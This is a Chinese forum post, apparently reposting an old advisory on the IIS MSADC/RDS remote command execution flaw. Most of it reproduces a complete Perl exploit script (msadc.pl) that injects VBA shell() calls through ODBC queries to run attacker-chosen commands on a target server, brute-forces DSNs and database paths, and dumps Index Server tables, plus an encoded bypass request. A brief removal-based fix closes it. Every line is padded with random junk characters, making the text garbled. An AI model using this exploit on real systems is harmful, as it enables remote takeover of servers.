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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !.^x^OK%y  
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涉及程序: $y,KDR7^  
Microsoft NT server S.Kcb=;"L  
5z9hcQAS  
描述: .>}I/+n  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )Ute  
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详细: }yn%_KQ0  
如果你没有时间读详细内容的话,就删除: O`1!&XT{x  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ^|6#Vx  
有关的安全问题就没有了。 H^5,];  
rqiH!R  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Pv,PS.,-  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7P}l^WX  
关于利用ODBC远程漏洞的描述,请参看: re/u3\S  
5de1rB|  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm eY`9J4o'  
,mvFeo;@f  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -zMvpe-am&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 88 X]Uw(+  
1 oKY7i$  
这里不再论述。 Oi& 9FS  
,1B4FAR&  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 3BGcDyYE  
9<y{:{i  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset l{.PyU5)  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! #y7MB6-  
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L gX2KU"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" yx&}bu\  
Iurz?dt4w  
#!perl e 2N F.  
# f% t N2k  
# MSADC/RDS 'usage' (aka exploit) script 0vDvp`ie#4  
# CdCY#$Z  
# by rain.forest.puppy e@vZg8Ie  
# K"g{P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me tC$+;_=+F  
# beta test and find errors! 4IB`7QJq  
N4-Y0BO  
use Socket; use Getopt::Std; y]obO|AH  
getopts("e:vd:h:XR", \%args); s0vcGh#w  
7^Us  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )>b1%x} =  
UHi^7jQ  
if (!defined $args{h} && !defined $args{R}) { g(s}R ?  
print qq~ XPq`; <G  
Usage: msadc.pl -h <host> { -d <delay> -X -v } pp*MHM)x|q  
-h <host> = host you want to scan (ip or domain) ak3WER|f#  
-d <seconds> = delay between calls, default 1 second ZJGIib  
-X = dump Index Server path table, if available JUDZ_cGr  
-v = verbose xOg|<Nnl  
-e = external dictionary file for step 5 WTt /y\'6  
I|Hcs.uW  
Or a -R will resume a command session +JD^5J,-NJ  
1yU!rEH  
~; exit;} I 6<LKI/  
n31nORx50  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; RN1KM  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Gb Mu;CA  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} jamai8  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Ly, ];  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >[T6/#M  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } lu.xv6+  
[tt_>O  
if (!defined $args{R}){ $ret = &has_msadc; e*Nm[*@UW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 2e ~RM2PQ  
C;70,!3  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {"|GV~  
. "cmd /c "; _ J"J[$  
$in=<STDIN>; chomp $in; Pj8Vl)8~NV  
$command="cmd /c " . $in ; )0;O<G] d  
Cd p_niF  
if (defined $args{R}) {&load; exit;} ,<OS: ]  
#&{)`+!"  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; OQuTM[W  
&try_btcustmr; &|zV Wl  
g8"{smP/  
print "\nStep 2: Trying to make our own DSN..."; mn{R>  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )5;|mV  
L`^ v"W()  
print "\nStep 3: Trying known DSNs..."; W"xRf0\V  
&known_dsn; 6ESS>I"su  
Pc~)4>X<  
print "\nStep 4: Trying known .mdbs..."; Qej<(:J5  
&known_mdb; 0b,{4DOD  
xxdxRy9/  
if (defined $args{e}){ Xd~lifF  
print "\nStep 5: Trying dictionary of DSN names..."; _&@cU<bdee  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } <("P5@cExU  
+w@/$datI  
print "Sorry Charley...maybe next time?\n"; \WVY@eB  
exit; = &U7:u  
Qm?o^%a  
############################################################################## kRzqgVr%  
3_ =:^Z  
sub sendraw { # ripped and modded from whisker B"RZpx  
sleep($delay); # it's a DoS on the server! At least on mine... {+QQ<)l^tJ  
my ($pstr)=@_; 0L7^Vr)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <,T#* fg  
die("Socket problems\n"); !{oP'8Ax$  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?[O Sy.6  
select(S); $|=1; !un_JZD  
print $pstr; my @in=<S>; 3Q+THg3~?  
select(STDOUT); close(S); |:`gjl_Nf  
return @in; TUO#6  
} else { die("Can't connect...\n"); }} GwlAEhP  
s8kkf5bu  
############################################################################## 0`e- ;  
RK=YFE 0  
sub make_header { # make the HTTP request \3z^/F~  
my $msadc=<<EOT \RTXfe-`  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 AyZBH &}RZ  
User-Agent: ACTIVEDATA 7R om#Kl:  
Host: $ip ;,LlOR  
Content-Length: $clen "{(4  
Connection: Keep-Alive ?Wp{tB9N0  
8c'E  
ADCClientVersion:01.06 Wv)2dD2I  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 j6$_U@)%O  
UbV} !  
--!ADM!ROX!YOUR!WORLD! V0 OT_F  
Content-Type: application/x-varg FY]z*=  
Content-Length: $reqlen dCMWv~>  
{mV,bg,}~  
EOT !ly]{DTmm  
; $msadc=~s/\n/\r\n/g; 8/E?3a_g-  
return $msadc;} *gzX=*;x+?  
4;d9bd)A  
############################################################################## c=HL 6v<  
zc-.W2"Hu  
sub make_req { # make the RDS request 2myHn/%C  
my ($switch, $p1, $p2)=@_; G@QZmuj&KH  
my $req=""; my $t1, $t2, $query, $dsn; xpVYNS{c+|  
C_Z[ul  
if ($switch==1){ # this is the btcustmr.mdb query u_U51C\rb  
$query="Select * from Customers where City=" . make_shell(); w_i$/`i+  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . F/w!4,'<?5  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C"ZCX6p+$  
Nl1v*9_x  
elsif ($switch==2){ # this is general make table query kST  
$query="create table AZZ (B int, C varchar(10))"; ~?{@0,$  
$dsn="$p1";} Hv1d4U"qM  
P A9 ]L  
elsif ($switch==3){ # this is general exploit table query  p68) 0  
$query="select * from AZZ where C=" . make_shell(); =jmn  
$dsn="$p1";} =lG5Kc{B  
ef!V EtEOv  
elsif ($switch==4){ # attempt to hork file info from index server S<LHNZu|^A  
$query="select path from scope()"; |&TRN1  
$dsn="Provider=MSIDXS;";} KyAQzN9  
?H3xE=<X  
elsif ($switch==5){ # bad query "sRR:wzQu  
$query="select"; /5_!Y >W  
$dsn="$p1";} E-i rB/0  
.)mw~3]  
$t1= make_unicode($query); :U<`iJwY  
$t2= make_unicode($dsn); uU>Bun  
$req = "\x02\x00\x03\x00"; cQUmcK/,  
$req.= "\x08\x00" . pack ("S1", length($t1)); M(S:&GOU  
$req.= "\x00\x00" . $t1 ; PhM3?$  
$req.= "\x08\x00" . pack ("S1", length($t2)); OY6l t.t  
$req.= "\x00\x00" . $t2 ; u*&wMR>Crf  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; [N925?--S  
return $req;} I "9S  
3%xj-7z W  
############################################################################## o% !a  
@QMMtfeLj  
sub make_shell { # this makes the shell() statement 5o2;26c  
return "'|shell(\"$command\")|'";} 1< ;<?  
oO>mGl36H  
############################################################################## 5"6Y=AuQ6  
aBT|Q@Y.  
sub make_unicode { # quick little function to convert to unicode X'WbS  
my ($in)=@_; my $out; ,`MUd0 n  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } KyNv)=x4c  
return $out;} +dk}$w[ g  
V\WqA8  
############################################################################## L*1C2EL/q  
Dw?nf  
sub rdo_success { # checks for RDO return success (this is kludge) BD9W-mF  
my (@in) = @_; my $base=content_start(@in); U*=ebZno  
if($in[$base]=~/multipart\/mixed/){ O[;>Y'zqC%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} z'MOuz~Y  
return 0;} F%t`dz!L  
0S;H`w_S  
############################################################################## /A4zR  
X4lz?Y:*  
sub make_dsn { # this makes a DSN for us  ">*PH}b  
my @drives=("c","d","e","f"); EV z>#GC  
print "\nMaking DSN: "; Pp6(7j  
foreach $drive (@drives) { ]4yWcnf  
print "$drive: "; NB;8 e>8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . <|~X,g;f  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" )VID ;l;4  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Tz]t.]!&E  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; U|={LU  
return 0 if $2 eq "404"; # not found/doesn't exist 5vxJ|Hse@  
if($2 eq "200") { gN Xg  
foreach $line (@results) { DDyeN uK  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} (2Z-NVU#  
} return 0;} {A2(a7vV  
t{| KL<d]  
############################################################################## )'KkO$^&  
U@!e&QPn  
sub verify_exists { UYn5Pix  
my ($page)=@_; h.E8G^}@  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >f JY  
return $results[0];} nxkbI:+t  
8<z+hWX=4  
############################################################################## V6B`q;lA  
5fMVjd  
sub try_btcustmr { w xKlBx7  
my @drives=("c","d","e","f"); $DeHo"mg7m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); d`q<!qFZh  
\wEHYz  
foreach $dir (@dirs) { s4/4o_[W  
print "$dir -> "; # fun status so you can see progress GuPxN}n 5  
foreach $drive (@drives) { eW, {E)x:  
print "$drive: "; # ditto /]zn8 d  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]1h W/!  
$reqlenlen=length( "$reqlen" ); awkPFA*c'  
$clen= 206 + $reqlenlen + $reqlen; FD:3;nUY7  
AI0YK"c?  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4u- mE  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} oJb${k<3  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} GdHFgxI  
(Ild>_Tdb`  
############################################################################## viB'ul7o  
]r|sU.Vl  
sub odbc_error { Z" j #kaXA  
my (@in)=@_; my $base; uF,F<%d  
my $base = content_start(@in); yuIy?K  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this fUj[E0yOF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *?bOH5$@Nw  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D$@5$./  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nSY3=Edx=  
return $in[$base+4].$in[$base+5].$in[$base+6];} LtIp,2GP&_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; B' }h6ZH  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =r z7x  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} yp}J+/PX}  
6S K;1Bp-{  
############################################################################## hOFC8g  
!r\u,l^  
sub verbose { &:Q^j:  
my ($in)=@_; S 7pf QF  
return if !$verbose; Ckd j|  
print STDOUT "\n$in\n";} 6Qtyv  
Uh[MB wK  
############################################################################## bu0i #  
|5il5UP  
sub save { &/dYJv$[9  
my ($p1, $p2, $p3, $p4)=@_; 0'wchy>  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; xER-TT #S  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ob3)bI oM  
close OUT;} p^.qwP\P  
?D>%+rK8c  
############################################################################## l4Au{%j\  
3Z0ez?p+5  
sub load { -@7?N6~qZx  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; } H#C<:A  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); <JUumrEo  
@p=<IN>; close(IN); ;Mw<{X-  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); fQm3D%  
$target= inet_aton($ip) || die("inet_aton problems"); zv .#9^/y  
print "Resuming to $ip ..."; 6JgbJbUi  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Z.}Z2K  
if($p[1]==1) { b=@H5XTZyK  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; -HwqR Y s  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; vVhSl$mW  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `. i #3P  
if (rdo_success(@results)){print "Success!\n";} d9iVuw0u<  
else { print "failed\n"; verbose(odbc_error(@results));}} HIGTo\]Z  
elsif ($p[1]==3){ h 8<s(WR  
if(run_query("$p[3]")){ U8S<wf&  
print "Success!\n";} else { print "failed\n"; }} M{z&h>  
elsif ($p[1]==4){ rS>@>8k2,  
if(run_query($drvst . "$p[3]")){ :>C D;  
print "Success!\n"; } else { print "failed\n"; }} V~#8lu7;  
exit;} ppuJC ' GW  
%y)]Q|  
############################################################################## y(<+=  
we0haK  
sub create_table { /&N\#;kK?b  
my ($in)=@_; @Os0A  
$reqlen=length( make_req(2,$in,"") ) - 28; (}RTHpD  
$reqlenlen=length( "$reqlen" ); !c"EgP+  
$clen= 206 + $reqlenlen + $reqlen; w-];!;%  
my @results=sendraw(make_header() . make_req(2,$in,"")); &t U&ZH  
return 1 if rdo_success(@results); zYxA#TZL  
my $temp= odbc_error(@results); verbose($temp); .PD_Vv>C/>  
return 1 if $temp=~/Table 'AZZ' already exists/; g#Z7ReMw  
return 0;} sF Ph?  
w1EB>!<;tj  
############################################################################## wG&Z7C b  
WN $KS"b6}  
sub known_dsn { nt%fJ k  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go DzbcLg%:W  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~ #jnkD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ~OMo$qt`lP  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); >u\'k +=  
ov5g`uud  
foreach $dSn (@dsns) { ki'<qa  
print "."; 5g`J}@"k  
next if (!is_access("DSN=$dSn")); |hS^eK_  
if(create_table("DSN=$dSn")){ [F!h&M0z  
print "$dSn successful\n"; wE -y4V e  
if(run_query("DSN=$dSn")){ %J+ w9Z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { BXNC(^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ec,Bu7'8  
Z6zLL   
############################################################################## y:  ]  
peew <SX  
sub is_access { _aU :[v*!  
my ($in)=@_; | 2GrOM&S  
$reqlen=length( make_req(5,$in,"") ) - 28; z%]3`_I  
$reqlenlen=length( "$reqlen" ); , {}S<^?]  
$clen= 206 + $reqlenlen + $reqlen; Uw?25+[b  
my @results=sendraw(make_header() . make_req(5,$in,"")); V#B'm?aQ  
my $temp= odbc_error(@results); r3Kx  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); tI  
return 0;} o{' J O3  
tR .>d  
############################################################################## 9 ge'Mo  
/IG3>|R  
sub run_query { gk}.L E  
my ($in)=@_; <vzU}JA\  
$reqlen=length( make_req(3,$in,"") ) - 28; l$!Z};mw0E  
$reqlenlen=length( "$reqlen" ); Odm1;\=Eg+  
$clen= 206 + $reqlenlen + $reqlen; 9%dO"t$-q  
my @results=sendraw(make_header() . make_req(3,$in,"")); W6)XMl}n  
return 1 if rdo_success(@results); t Kjk<  
my $temp= odbc_error(@results); verbose($temp); r!^VCA  
return 0;} KfSbm?  
% C)|fDwN  
############################################################################## OTEx9  
fG<[zt\e  
sub known_mdb { k#2b3}(,  
my @drives=("c","d","e","f","g"); eH9-GGr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); BPy pA $  
my $dir, $drive, $mdb; m:g%5' qDZ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;`Sn66&  
>p3S,2SM  
# this is sparse, because I don't know of many 618bbftx{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", OYOczb]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", B~3qEdoK5`  
"\\system32\\certmdb.mdb", W,%qL6qV  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s{fL~}Yz  
rY"EW"y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", |vj!,b88n#  
"\\cfusion\\cfapps\\forums\\forums_.mdb", i;67< f}-  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^.[+)0I  
"\\cfusion\\cfapps\\security\\realm_.mdb", UFE~6"t(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", xQ=L2pX  
"\\cfusion\\database\\cfexamples.mdb", 3UcOpq2i\  
"\\cfusion\\database\\cfsnippets.mdb", v8THJf  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,*wj~NE  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |H8UT S X+  
"\\cfusion\\brighttiger\\database\\cleam.mdb", s3)T}52  
"\\cfusion\\database\\smpolicy.mdb", k")3R}mX  
"\\cfusion\\database\cypress.mdb", w.Kp[  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", z6OJT6<'  
"\\website\\cgi-win\\dbsample.mdb", h-@_.&P0e  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", )<L?3Jjt5  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" jE$]Z(Ab  
); #these are just p{JE@TM  
foreach $drive (@drives) { kJ0otr2P  
foreach $dir (@dirs){ vFGVz  
foreach $mdb (@sysmdbs) { T) cbpkH4  
print "."; WtbOm  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ j,g.Eo  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; d\rs/ee  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ACH!Gw~  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; "\kr;X'  
} else { print "Something's borked. Use verbose next time\n"; }}}}} <V*M%YWs  
zj'uKBDl  
foreach $drive (@drives) { .w~zW*M0  
foreach $mdb (@mdbs) { :;Wh!8+j  
print "."; G;bE_O  
if(create_table($drv . $drive . $dir . $mdb)){ b .v^:M  
print "\n" . $drive . $dir . $mdb . " successful\n"; qo0]7m7|  
if(run_query($drv . $drive . $dir . $mdb)){ iLkP@OYgQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; C9 cQ} j:  
} else { print "Something's borked. Use verbose next time\n"; }}}} O0> ^?dsL  
} -\fn\n  
f<( ysl1[  
############################################################################## W_G'wU3R  
z,=k F I  
sub hork_idx { 2o-Ie/"d\  
print "\nAttempting to dump Index Server tables...\n"; TWJ%? /d  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,46k8%WW  
$reqlen=length( make_req(4,"","") ) - 28; MQGR-WV=5  
$reqlenlen=length( "$reqlen" ); 54, (;  
$clen= 206 + $reqlenlen + $reqlen; ( cqVCys  
my @results=sendraw2(make_header() . make_req(4,"","")); j*N:Kdzvl  
if (rdo_success(@results)){ $v+t ~b  
my $max=@results; my $c; my %d; i9k/X&V  
for($c=19; $c<$max; $c++){ s:#\U!>0`  
$results[$c]=~s/\x00//g; '#0'_9}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~!W{C_*N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +eD+Z.{  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; K ZSvT{  
$d{"$1$2"}="";} u@-x3%W  
foreach $c (keys %d){ print "$c\n"; } 4&([<gyR<  
} else {print "Index server doesn't seem to be installed.\n"; }} o@KK/f  
weky 5(:  
############################################################################## R7d45Wl  
Qtpw0t"  
sub dsn_dict { 8z h{?0  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $,~D-~-  
while(<IN>){ i>68gfx  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6S# e?>"+  
next if (!is_access("DSN=$dSn")); Cl5l+I\1  
if(create_table("DSN=$dSn")){ mxJ& IV  
print "$dSn successful\n"; h|j $Jy  
if(run_query("DSN=$dSn")){ 3KW4 ]qo~  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { cRhu]fv()  
print "Something's borked. Use verbose next time\n";}}} P6ztP$M(  
print "\n"; close(IN);} :v!e8kM\x  
%Z=%E!*  
############################################################################## VgO:`bDF  
~SRK}5E  
sub sendraw2 { # ripped and modded from whisker Y[ciT)  
sleep($delay); # it's a DoS on the server! At least on mine... 5dE@ePO[/9  
my ($pstr)=@_; ;NHZD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || [Q2"OG@Q  
die("Socket problems\n"); RHc-kggk!  
if(connect(S,pack "SnA4x8",2,80,$target)){ zFqlTUD`t  
print "Connected. Getting data"; j%m9y_rg}  
open(OUT,">raw.out"); my @in; (93+b%^[  
select(S); $|=1; print $pstr; z_^Vgb]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} +q/ j  
close(OUT); select(STDOUT); close(S); return @in; *|T]('xwC  
} else { die("Can't connect...\n"); }} ^"e|)4_5\  
5HZt5="+  
############################################################################## }9GD'N?4  
1sqBBd"=PY  
sub content_start { # this will take in the server headers 5mxYzu;#]  
my (@in)=@_; my $c; j<-#a^jb  
for ($c=1;$c<500;$c++) { ueyz@{On~  
if($in[$c] =~/^\x0d\x0a/){ W/3,vf1  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +EZ Lic  
else { return $c+1; }}} ur,!-t(~t  
return -1;} # it should never get here actually d@a FW  
<GbF4\ue  
############################################################################## ok"v`76~f5  
kf8-#Q/B  
sub funky { 78}QaE  
my (@in)=@_; my $error=odbc_error(@in); v\3:R,|'  
if($error=~/ADO could not find the specified provider/){ (|<e4HfZL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; L|wD2iw  
exit;} xpWx6  
if($error=~/A Handler is required/){ E,S[3+  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3 %ppvvQ  
exit;} `u z R!^X  
if($error=~/specified Handler has denied Access/){ Ua>lf8w<  
print "\nServer has custom handler filters (they most likely are patched)\n"; /!l$Y?  
exit;}} PgeC\#;9  
G234UjN%  
############################################################################## N%hV+># Z  
Rr'#OxF  
sub has_msadc { |,3>A@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); NtuO&{}i  
my $base=content_start(@results); ~6HpI0i  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \{Q d  
return 0;} ,f4VV\  
iYqZBLf{S  
######################## 5r*5Co+  
3@qy}Nm  
toq/G,N Q  
解决方案: o$*aAgS+  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll q#{.8H-X'  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )\S3Q  
9H~2 iW,Q;  
拿出来充数 哈哈
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